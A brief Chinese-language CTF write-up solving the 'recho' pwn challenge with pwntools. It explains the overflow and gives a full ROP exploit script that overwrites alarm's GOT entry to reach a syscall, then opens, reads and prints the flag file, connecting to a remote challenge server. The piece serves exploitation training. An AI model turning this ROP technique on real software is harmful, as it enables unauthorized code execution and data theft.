可以任意长度输入, 存在溢出, 不过溢出之后再次输入还是继续执行, 无法退出循环就不能劫持程序流
这里用到pwntools的一个函数, 用来结束输入流, 从而结束循环
def shutdown(self, direction = "send"):
"""shutdown(direction = "send")
Closes the tube for futher reading or writing depending on `direction`.
Arguments:
direction(str): Which direction to close; "in", "read" or "recv"
closes the tube in the ingoing direction, "out", "write" or "send"
closes it in the outgoing direction.
Returns:
:const:`None`
"""
但是关闭流就不能二次利用漏洞, 所以需要一次利用拿到flag, 想到可以通过open, 读取文件flag, 然后输出
int f = open("flag", "r+");
read(f, buf, 128);
printf("%s", buf);
用add_rdi_al来设置alarm的got表项为alarm + 5 == syscall
用pwndbg的vmmap找到可读写的段用来充当buf, 为了不影响到bss段, 可以选择0x601100开始写入
from pwn import *
from pwnlib.util.cyclic import cyclic
sel = 1
filename = "./recho"
URL, PORT = "111.200.241.244", 49730
io = process(filename) if sel == 0 else remote(URL, PORT)
elf = ELF(filename)
alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
read_plt = elf.plt['read']
printf_plt = elf.plt['printf']
flag_addr = next(elf.search(b'flag'))
pad = 0x30 + 8
buf_addr = 0x601100
pop_rdi_addr = 0x00000000004008a3
pop_rdx_addr = 0x00000000004006fe
pop_rsi_r15_addr = 0x00000000004008a1
pop_rax_addr = 0x00000000004006fc
add_rdi_al_addr = 0x000000000040070d
payload = cyclic(pad) + p64(pop_rdi_addr) + p64(alarm_got) + p64(pop_rax_addr) + p64(5) + p64(add_rdi_al_addr)
payload += p64(pop_rdi_addr) + p64(flag_addr) + p64(pop_rsi_r15_addr) + p64(0) + p64(0) + p64(pop_rax_addr) + p64(2) + p64(alarm_plt)
payload += p64(pop_rdi_addr) + p64(3) + p64(pop_rsi_r15_addr) + p64(buf_addr) + p64(0) + p64(pop_rdx_addr) + p64(0x80) + p64(read_plt)
payload += p64(pop_rdi_addr) + p64(buf_addr) + p64(printf_plt)
payload.ljust(0x200, b'\x90')
io.sendlineafter("server!\n", str(0x200))
io.sendline(payload)
io.shutdown('send')
io.interactive()